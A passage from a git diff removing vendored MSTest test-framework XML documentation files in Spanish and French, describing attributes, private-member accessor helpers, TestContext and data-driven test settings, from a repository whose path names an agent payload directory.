- Inicializa una nueva instancia de la clase para el atributo WorkItem. - - Identificador de un elemento de trabajo. - - - - Obtiene el identificador de un elemento de trabajo asociado. - - - - - Atributo de tiempo de espera. Se usa para especificar el tiempo de espera de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase . - - - Tiempo de espera. - - - - - Inicializa una nueva instancia de la clase con un tiempo de espera preestablecido. - - - Tiempo de espera - - - - - Obtiene el tiempo de espera. - - - - - Objeto TestResult que debe devolverse al adaptador. - - - - - Inicializa una nueva instancia de la clase . - - - - - Obtiene o establece el nombre para mostrar del resultado. Es útil cuando se devuelven varios resultados. - Si es NULL, se utiliza el nombre del método como nombre para mostrar. - - - - - Obtiene o establece el resultado de la ejecución de pruebas. - - - - - Obtiene o establece la excepción que se inicia cuando la prueba da error. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece la salida del mensaje registrado por el código de la prueba. - - - - - Obtiene o establece el seguimiento de depuración que realiza el código de la prueba. - - - - - Gets or sets the debug traces by test code. - - - - - Obtiene o establece la duración de la ejecución de la prueba. - - - - - Obtiene o establece el índice de la fila de datos en el origen de datos. Se establece solo para resultados - de ejecuciones individuales de filas de datos de una prueba controlada por datos. - - - - - Obtiene o establece el valor devuelto del método de prueba. Actualmente es siempre NULL. - - - - - Obtiene o establece los archivos de resultados que adjunta la prueba. - - - - - Especifica la cadena de conexión, el nombre de tabla y el método de acceso a fila para las pruebas controladas por datos. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nombre de proveedor predeterminado del origen de datos. - - - - - Método de acceso a datos predeterminado. - - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos, una cadena de conexión, una tabla de datos y un método de acceso a datos para acceder al origen de datos. - - Nombre invariable del proveedor de datos, como System.Data.SqlClient - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - Especifica el orden de acceso a los datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con una cadena de conexión y un nombre de tabla. - Especifique la cadena de conexión y la tabla de datos para acceder al origen de datos OLEDB. - - - Cadena de conexión específica del proveedor de datos. - ADVERTENCIA: La cadena de conexión puede contener información confidencial (por ejemplo, una contraseña). - La cadena de conexión se almacena en texto sin formato en el código fuente y en el ensamblado compilado. - Restrinja el acceso al código fuente y al ensamblado para proteger esta información confidencial. - - Nombre de la tabla de datos. - - - - Inicializa una nueva instancia de la clase . Esta instancia se inicializará con un proveedor de datos y una cadena de conexión asociada al nombre del valor de configuración. - - El nombre de un origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - Obtiene un valor que representa el proveedor de datos del origen de datos. - - - Nombre del proveedor de datos. Si no se designó un proveedor de datos al inicializar el objeto, se devolverá el proveedor predeterminado de System.Data.OleDb. - - - - - Obtiene un valor que representa la cadena de conexión para el origen de datos. - - - - - Obtiene un valor que indica el nombre de la tabla que proporciona los datos. - - - - - Obtiene el método usado para tener acceso al origen de datos. - - - - Uno de los . Si no se ha inicializado, devolverá el valor predeterminado . - - - - - Obtiene el nombre del origen de datos que se encuentra en la sección <microsoft.visualstudio.qualitytools> del archivo app.config. - - - - - Atributo para una prueba controlada por datos donde los datos pueden especificarse insertados. - - - - - Busca todas las filas de datos y las ejecuta. - - - El método de prueba. - - - Una matriz de . - - - - - Ejecuta el método de prueba controlada por datos. - - Método de prueba para ejecutar. - Fila de datos. - Resultados de la ejecución. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index fcb3e3f9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Permet de spécifier l'élément de déploiement (fichier ou répertoire) pour un déploiement par test. - Peut être spécifié sur une classe de test ou une méthode de test. - Peut avoir plusieurs instances de l'attribut pour spécifier plusieurs éléments. - Le chemin de l'élément peut être absolu ou relatif. S'il est relatif, il l'est par rapport à RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Initialise une nouvelle instance de la classe . - - Fichier ou répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - - - - Initialise une nouvelle instance de la classe - - Chemin relatif ou absolu du fichier ou du répertoire à déployer. Le chemin est relatif au répertoire de sortie de build. L'élément est copié dans le même répertoire que les assemblys de tests déployés. - Chemin du répertoire dans lequel les éléments doivent être copiés. Il peut être absolu ou relatif au répertoire de déploiement. Tous les fichiers et répertoires identifiés par vont être copiés dans ce répertoire. - - - - Obtient le chemin du fichier ou dossier source à copier. - - - - - Obtient le chemin du répertoire dans lequel l'élément est copié. - - - - - Contient les littéraux pour les noms de sections, de propriétés et d'attributs. - - - - - Nom de la section de configuration. - - - - - Nom de la section de configuration pour Beta2. Conservé par souci de compatibilité. - - - - - Nom de section pour la source de données. - - - - - Nom d'attribut pour 'Name' - - - - - Nom d'attribut pour 'ConnectionString' - - - - - Nom d'attribut de 'DataAccessMethod' - - - - - Nom d'attribut de 'DataTable' - - - - - Élément de la source de données. - - - - - Obtient ou définit le nom de cette configuration. - - - - - Obtient ou définit l'élément ConnectionStringSettings dans la section <connectionStrings> du fichier .config. - - - - - Obtient ou définit le nom de la table de données. - - - - - Obtient ou définit le type d'accès aux données. - - - - - Obtient le nom de la clé. - - - - - Obtient les propriétés de configuration. - - - - - Collection d'éléments de la source de données. - - - - - Initialise une nouvelle instance de la classe . - - - - - Retourne l'élément de configuration avec la clé spécifiée. - - Clé de l'élément à retourner. - System.Configuration.ConfigurationElement avec la clé spécifiée ; sinon, null. - - - - Obtient l'élément de configuration à l'emplacement d'index spécifié. - - Emplacement d'index du System.Configuration.ConfigurationElement à retourner. - - - - Ajoute un élément de configuration à la collection d'éléments de configuration. - - System.Configuration.ConfigurationElement à ajouter. - - - - Supprime System.Configuration.ConfigurationElement de la collection. - - Le . - - - - Supprime System.Configuration.ConfigurationElement de la collection. - - Clé du System.Configuration.ConfigurationElement à supprimer. - - - - Supprime tous les objets d'éléments de configuration dans la collection. - - - - - Crée . - - Nouveau . - - - - Obtient la clé d'un élément de configuration spécifique. - - System.Configuration.ConfigurationElement dont la clé doit être retournée. - System.Object qui fait office de clé pour le System.Configuration.ConfigurationElement spécifié. - - - - Ajoute un élément de configuration à la collection d'éléments de configuration. - - System.Configuration.ConfigurationElement à ajouter. - - - - Ajoute un élément de configuration à la collection d'éléments de configuration. - - Emplacement d'index où ajouter le System.Configuration.ConfigurationElement spécifié. - System.Configuration.ConfigurationElement à ajouter. - - - - Prise en charge des paramètres de configuration pour les tests. - - - - - Obtient la section de configuration des tests. - - - - - Section de configuration des tests. - - - - - Obtient les sources de données de cette section de configuration. - - - - - Obtient la collection de propriétés. - - - Le des propriétés de l'élément. - - - - - Cette classe représente l'objet INTERNE dynamique NON public dans le système - - - - - Initialise une nouvelle instance de la classe qui contient - l'objet déjà existant de la classe privée - - objet qui sert de point de départ pour atteindre les membres privés - chaîne de déréférencement utilisant . et qui pointe vers l'objet à récupérer, par exemple m_X.m_Y.m_Z - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper le - type spécifié. - - Nom de l'assembly - nom complet - Arguments à passer au constructeur - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper le - type spécifié. - - Nom de l'assembly - nom complet - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres du constructeur à obtenir - Arguments à passer au constructeur - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper le - type spécifié. - - type d'objet à créer - Arguments à passer au constructeur - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper le - type spécifié. - - type d'objet à créer - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres du constructeur à obtenir - Arguments à passer au constructeur - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper - l'objet donné. - - objet à inclure dans un wrapper - - - - Initialise une nouvelle instance de la classe qui inclut dans un wrapper - l'objet donné. - - objet à inclure dans un wrapper - Objet PrivateType - - - - Obtient ou définit la cible - - - - - Obtient le type de l'objet sous-jacent - - - - - retourne le code de hachage de l'objet cible - - int représentant le code de hachage de l'objet cible - - - - Est égal à - - Objet à comparer - retourne true si les objets sont égaux. - - - - Appelle la méthode spécifiée - - Nom de la méthode - Arguments à passer au membre à appeler. - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Tableau de types correspondant aux types des arguments génériques. - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Arguments à passer au membre à appeler. - Informations sur la culture - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Informations sur la culture - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Arguments à passer au membre à appeler. - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Arguments à passer au membre à appeler. - Informations sur la culture - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Informations sur la culture - Résultat de l'appel de méthode - - - - Appelle la méthode spécifiée - - Nom de la méthode - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à obtenir. - Arguments à passer au membre à appeler. - Informations sur la culture - Tableau de types correspondant aux types des arguments génériques. - Résultat de l'appel de méthode - - - - Obtient l'élément de tableau à l'aide du tableau d'indices pour chaque dimension - - Nom du membre - les indices du tableau - Tableau d'éléments. - - - - Définit l'élément de tableau à l'aide du tableau d'indices pour chaque dimension - - Nom du membre - Valeur à définir - les indices du tableau - - - - Obtient l'élément de tableau à l'aide du tableau d'indices pour chaque dimension - - Nom du membre - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - les indices du tableau - Tableau d'éléments. - - - - Définit l'élément de tableau à l'aide du tableau d'indices pour chaque dimension - - Nom du membre - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Valeur à définir - les indices du tableau - - - - Obtient le champ - - Nom du champ - Champ. - - - - Définit le champ - - Nom du champ - valeur à définir - - - - Obtient le champ - - Nom du champ - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Champ. - - - - Définit le champ - - Nom du champ - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - valeur à définir - - - - Obtient le champ ou la propriété - - Nom du champ ou de la propriété - Champ ou propriété. - - - - Définit le champ ou la propriété - - Nom du champ ou de la propriété - valeur à définir - - - - Obtient le champ ou la propriété - - Nom du champ ou de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Champ ou propriété. - - - - Définit le champ ou la propriété - - Nom du champ ou de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - valeur à définir - - - - Obtient la propriété - - Nom de la propriété - Arguments à passer au membre à appeler. - Propriété. - - - - Obtient la propriété - - Nom de la propriété - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - Propriété. - - - - Définit la propriété - - Nom de la propriété - valeur à définir - Arguments à passer au membre à appeler. - - - - Définit la propriété - - Nom de la propriété - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - valeur à définir - Arguments à passer au membre à appeler. - - - - Obtient la propriété - - Nom de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Arguments à passer au membre à appeler. - Propriété. - - - - Obtient la propriété - - Nom de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - Propriété. - - - - Définit la propriété - - Nom de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - valeur à définir - Arguments à passer au membre à appeler. - - - - Définit la propriété - - Nom de la propriété - Masque de bits composé d'un ou de plusieurs qui spécifient la façon dont la recherche est effectuée. - valeur à définir - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - - - - Valide la chaîne d'accès - - chaîne d'accès - - - - Appelle le membre - - Nom du membre - Attributs supplémentaires - Arguments de l'appel - Culture - Résultat de l'appel - - - - Extrait la signature de méthode générique la plus appropriée à partir du type privé actuel. - - Nom de la méthode dans laquelle rechercher le cache de signatures. - Tableau de types correspondant aux types des paramètres où effectuer la recherche. - Tableau de types correspondant aux types des arguments génériques. - pour filtrer plus précisément les signatures de méthode. - Modificateurs des paramètres. - Instance de methodinfo. - - - - Cette classe représente une classe privée pour la fonctionnalité d'accesseur private. - - - - - Se lie à tout - - - - - Type inclus dans un wrapper. - - - - - Initialise une nouvelle instance de la classe qui contient le type privé. - - Nom de l'assembly - nom complet de - - - - Initialise une nouvelle instance de la classe qui contient - le type privé de l'objet de type - - Type inclus dans un wrapper à créer. - - - - Obtient le type référencé - - - - - Appelle un membre statique - - Nom du membre InvokeHelper - Arguments de l'appel - Résultat de l'appel - - - - Appelle un membre statique - - Nom du membre InvokeHelper - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Résultat de l'appel - - - - Appelle un membre statique - - Nom du membre InvokeHelper - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Tableau de types correspondant aux types des arguments génériques. - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Arguments de l'appel - Culture - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Informations sur la culture - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - Arguments de l'appel - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - Arguments de l'appel - Culture - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - /// Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Culture - Résultat de l'appel - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - /// Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la méthode à appeler - Arguments de l'appel - Culture - Tableau de types correspondant aux types des arguments génériques. - Résultat de l'appel - - - - Obtient l'élément dans le tableau statique - - Nom du tableau - - Tableau unidimensionnel d'entiers 32 bits qui représentent les index spécifiant - la position de l'élément à obtenir. Par exemple, pour accéder à a[10][11], les indices sont {10,11} - - élément à l'emplacement spécifié - - - - Définit le membre du tableau statique - - Nom du tableau - valeur à définir - - Tableau unidimensionnel d'entiers 32 bits qui représentent les index spécifiant - la position de l'élément à définir. Par exemple, pour accéder à a[10][11], le tableau est {10,11} - - - - - Obtient l'élément dans le tableau statique - - Nom du tableau - Attributs InvokeHelper supplémentaires - - Tableau unidimensionnel d'entiers 32 bits qui représentent les index spécifiant - la position de l'élément à obtenir. Par exemple, pour accéder à a[10][11], le tableau est {10,11} - - élément à l'emplacement spécifié - - - - Définit le membre du tableau statique - - Nom du tableau - Attributs InvokeHelper supplémentaires - valeur à définir - - Tableau unidimensionnel d'entiers 32 bits qui représentent les index spécifiant - la position de l'élément à définir. Par exemple, pour accéder à a[10][11], le tableau est {10,11} - - - - - Obtient le champ static - - Nom du champ - Champ static. - - - - Définit le champ static - - Nom du champ - Argument de l'appel - - - - Obtient le champ static à l'aide des attributs InvokeHelper spécifiés - - Nom du champ - Attributs d'appel supplémentaires - Champ static. - - - - Définit le champ static à l'aide des attributs de liaison - - Nom du champ - Attributs InvokeHelper supplémentaires - Argument de l'appel - - - - Obtient le champ ou la propriété statique - - Nom du champ ou de la propriété - Champ ou propriété statique. - - - - Définit le champ ou la propriété statique - - Nom du champ ou de la propriété - Valeur à affecter au champ ou à la propriété - - - - Obtient le champ ou la propriété statique à l'aide des attributs InvokeHelper spécifiés - - Nom du champ ou de la propriété - Attributs d'appel supplémentaires - Champ ou propriété statique. - - - - Définit le champ ou la propriété statique à l'aide des attributs de liaison - - Nom du champ ou de la propriété - Attributs d'appel supplémentaires - Valeur à affecter au champ ou à la propriété - - - - Obtient la propriété statique - - Nom du champ ou de la propriété - Arguments de l'appel - Propriété statique. - - - - Définit la propriété statique - - Nom de la propriété - Valeur à affecter au champ ou à la propriété - Arguments à passer au membre à appeler. - - - - Définit la propriété statique - - Nom de la propriété - Valeur à affecter au champ ou à la propriété - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - - - - Obtient la propriété statique - - Nom de la propriété - Attributs d'appel supplémentaires. - Arguments à passer au membre à appeler. - Propriété statique. - - - - Obtient la propriété statique - - Nom de la propriété - Attributs d'appel supplémentaires. - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - Propriété statique. - - - - Définit la propriété statique - - Nom de la propriété - Attributs d'appel supplémentaires. - Valeur à affecter au champ ou à la propriété - Valeurs d'index facultatives pour les propriétés indexées. Les index des propriétés indexées sont de base zéro. Cette valeur doit être null pour les propriétés non indexées. - - - - Définit la propriété statique - - Nom de la propriété - Attributs d'appel supplémentaires. - Valeur à affecter au champ ou à la propriété - Tableau qui contient des objets représentant le nombre, l'ordre et le type des paramètres de la propriété indexée. - Arguments à passer au membre à appeler. - - - - Appelle la méthode statique - - Nom du membre - Attributs d'appel supplémentaires - Arguments de l'appel - Culture - Résultat de l'appel - - - - Fournit la découverte de signatures de méthodes pour les méthodes génériques. - - - - - Compare les signatures de méthode de ces deux méthodes. - - Method1 - Method2 - True en cas de similitude. - - - - Obtient la profondeur de la hiérarchie à partir du type de base du type fourni. - - Type. - Profondeur. - - - - Recherche le type le plus dérivé à l'aide des informations fournies. - - Concordances. - Nombre de correspondances. - Méthode la plus dérivée. - - - - À partir d'un ensemble de méthodes qui correspondent aux critères de base, sélectionnez une méthode - reposant sur un tableau de types. Cette méthode doit retourner une valeur null, si aucune méthode ne correspond - aux critères. - - Spécification de liaison. - Concordances - Types - Modificateurs des paramètres. - Méthode de concordance. Null en l'absence de concordance. - - - - Recherche la méthode la plus spécifique parmi les deux méthodes fournies. - - Méthode 1 - Ordre des paramètres pour la méthode 1 - Type du tableau de paramètres. - Méthode 2 - Ordre des paramètres pour la méthode 2 - >Type du tableau de paramètres. - Types à rechercher. - Args. - Type int représentant la concordance. - - - - Recherche la méthode la plus spécifique parmi les deux méthodes fournies. - - Méthode 1 - Ordre des paramètres pour la méthode 1 - Type du tableau de paramètres. - Méthode 2 - Ordre des paramètres pour la méthode 2 - >Type du tableau de paramètres. - Types à rechercher. - Args. - Type int représentant la concordance. - - - - Recherche le type le plus spécifique parmi les deux types fournis. - - Type 1 - Type 2 - Type de définition - Type int représentant la concordance. - - - - Permet de stocker les informations fournies pour les tests unitaires. - - - - - Obtient les propriétés de test d'un test. - - - - - Obtient la ligne de données active quand le test est utilisé pour un test piloté par les données. - - - - - Obtient la ligne de la connexion de données active quand le test est utilisé pour un test piloté par les données. - - - - - Obtient le répertoire de base de la série de tests, sous lequel sont stockés les fichiers déployés et les fichiers de résultats. - - - - - Obtient le répertoire des fichiers déployés pour la série de tests. Généralement, il s'agit d'un sous-répertoire de . - - - - - Obtient le répertoire de base des résultats de la série de tests. Généralement, il s'agit d'un sous-répertoire de . - - - - - Obtient le répertoire des fichiers de résultats des séries de tests. Généralement, il s'agit d'un sous-répertoire de . - - - - - Obtient le répertoire des fichiers de résultats des tests. - - - - - Obtient le répertoire de base de la série de tests, sous lequel sont stockés les fichiers déployés et les fichiers de résultats. - Identique à . Utilisez cette propriété à la place. - - - - - Obtient le répertoire des fichiers déployés pour la série de tests. Généralement, il s'agit d'un sous-répertoire de . - Identique à . Utilisez cette propriété à la place. - - - - - Obtient le répertoire des fichiers de résultats des séries de tests. Généralement, il s'agit d'un sous-répertoire de . - Identique à . Utilisez cette propriété pour les fichiers de résultats des séries de tests, ou - pour les fichiers de résultats des tests spécifiques, à la place. - - - - - Obtient le nom complet de la classe contenant la méthode de test en cours d'exécution - - - - - Obtient le nom de la méthode de test en cours d'exécution - - - - - Obtient le résultat de test actuel. - - - - - Permet d'écrire des messages de suivi quand le test est en cours d'exécution - - chaîne de message mise en forme - - - - Permet d'écrire des messages de suivi quand le test est en cours d'exécution - - chaîne de format - arguments - - - - Ajoute un nom de fichier à la liste dans TestResult.ResultFileNames - - - Nom du fichier. - - - - - Démarre un minuteur ayant le nom spécifié - - Nom du minuteur. - - - - Met fin à un minuteur ayant le nom spécifié - - Nom du minuteur. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2d63dc05..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/fr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod pour exécution. - - - - - Obtient le nom de la méthode de test. - - - - - Obtient le nom de la classe de test. - - - - - Obtient le type de retour de la méthode de test. - - - - - Obtient les paramètres de la méthode de test. - - - - - Obtient le methodInfo de la méthode de test. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Appelle la méthode de test. - - - Arguments à passer à la méthode de test. (Exemple : pour un test piloté par les données) - - - Résultat de l'appel de la méthode de test. - - - This call handles asynchronous test methods as well. - - - - - Obtient tous les attributs de la méthode de test. - - - Indique si l'attribut défini dans la classe parente est valide. - - - Tous les attributs. - - - - - Obtient l'attribut du type spécifique. - - System.Attribute type. - - Indique si l'attribut défini dans la classe parente est valide. - - - Attributs du type spécifié. - - - - - Assistance. - - - - - Paramètre de vérification non null. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws argument null exception when parameter is null. - - - - Paramètre de vérification non null ou vide. - - - Paramètre. - - - Nom du paramètre. - - - Message. - - Throws ArgumentException when parameter is null. - - - - Énumération liée à la façon dont nous accédons aux lignes de données dans les tests pilotés par les données. - - - - - Les lignes sont retournées dans un ordre séquentiel. - - - - - Les lignes sont retournées dans un ordre aléatoire. - - - - - Attribut permettant de définir les données inline d'une méthode de test. - - - - - Initialise une nouvelle instance de la classe . - - Objet de données. - - - - Initialise une nouvelle instance de la classe qui accepte un tableau d'arguments. - - Objet de données. - Plus de données. - - - - Obtient les données permettant d'appeler la méthode de test. - - - - - Obtient ou définit le nom d'affichage dans les résultats des tests à des fins de personnalisation. - - - - - Exception d'assertion non concluante. - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Classe InternalTestFailureException. Sert à indiquer l'échec interne d'un cas de test - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message d'exception. - - - - Initialise une nouvelle instance de la classe . - - - - - Attribut indiquant d'attendre une exception du type spécifié - - - - - Initialise une nouvelle instance de la classe avec le type attendu - - Type de l'exception attendue - - - - Initialise une nouvelle instance de la classe avec - le type attendu et le message à inclure quand aucune exception n'est levée par le test. - - Type de l'exception attendue - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient une valeur indiquant le type de l'exception attendue - - - - - Obtient ou définit une valeur indiquant si les types dérivés du type de l'exception attendue peuvent - être éligibles comme prévu - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Vérifie que le type de l'exception levée par le test unitaire est bien attendu - - Exception levée par le test unitaire - - - - Classe de base des attributs qui spécifient d'attendre une exception d'un test unitaire - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception par défaut - - - - - Initialise une nouvelle instance de la classe avec un message d'absence d'exception - - - Message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une - exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message à inclure dans le résultat de test en cas d'échec du test lié à la non-levée d'une exception - - - - - Obtient le message d'absence d'exception par défaut - - Nom du type de l'attribut ExpectedException - Message d'absence d'exception par défaut - - - - Détermine si l'exception est attendue. Si la méthode est retournée, cela - signifie que l'exception est attendue. Si la méthode lève une exception, cela - signifie que l'exception n'est pas attendue, et que le message de l'exception levée - est inclus dans le résultat de test. La classe peut être utilisée par - commodité. Si est utilisé et si l'assertion est un échec, - le résultat de test a la valeur Non concluant. - - Exception levée par le test unitaire - - - - Lève à nouveau l'exception, s'il s'agit de AssertFailedException ou de AssertInconclusiveException - - Exception à lever de nouveau, s'il s'agit d'une exception d'assertion - - - - Cette classe permet à l'utilisateur d'effectuer des tests unitaires pour les types basés sur des types génériques. - GenericParameterHelper répond à certaines contraintes usuelles des types génériques, - exemple : - 1. constructeur par défaut public - 2. implémentation d'une interface commune : IComparable, IEnumerable - - - - - Initialise une nouvelle instance de la classe qui - répond à la contrainte 'newable' dans les génériques C#. - - - This constructor initializes the Data property to a random value. - - - - - Initialise une nouvelle instance de la classe qui - initialise la propriété Data en lui assignant une valeur fournie par l'utilisateur. - - Valeur entière - - - - Obtient ou définit les données - - - - - Compare la valeur de deux objets GenericParameterHelper - - objet à comparer - true si obj a la même valeur que l'objet GenericParameterHelper de 'this'. - sinon false. - - - - Retourne un code de hachage pour cet objet. - - Code de hachage. - - - - Compare les données des deux objets . - - Objet à comparer. - - Nombre signé indiquant les valeurs relatives de cette instance et de cette valeur. - - - Thrown when the object passed in is not an instance of . - - - - - Retourne un objet IEnumerator dont la longueur est dérivée de - la propriété Data. - - Objet IEnumerator - - - - Retourne un objet GenericParameterHelper égal à - l'objet actuel. - - Objet cloné. - - - - Permet aux utilisateurs de journaliser/d'écrire des traces de tests unitaires à des fins de diagnostic. - - - - - Gestionnaire de LogMessage. - - Message à journaliser. - - - - Événement à écouter. Déclenché quand le writer de test unitaire écrit un message. - Sert principalement à être consommé par un adaptateur. - - - - - API à appeler par le writer de test pour journaliser les messages. - - Format de chaîne avec des espaces réservés. - Paramètres des espaces réservés. - - - - Attribut TestCategory utilisé pour spécifier la catégorie d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe et applique la catégorie au test. - - - Catégorie de test. - - - - - Obtient les catégories de test appliquées au test. - - - - - Classe de base de l'attribut "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialise une nouvelle instance de la classe . - Applique la catégorie au test. Les chaînes retournées par TestCategories - sont utilisées avec la commande /category pour filtrer les tests - - - - - Obtient la catégorie de test appliquée au test. - - - - - Classe AssertFailedException. Sert à indiquer l'échec d'un cas 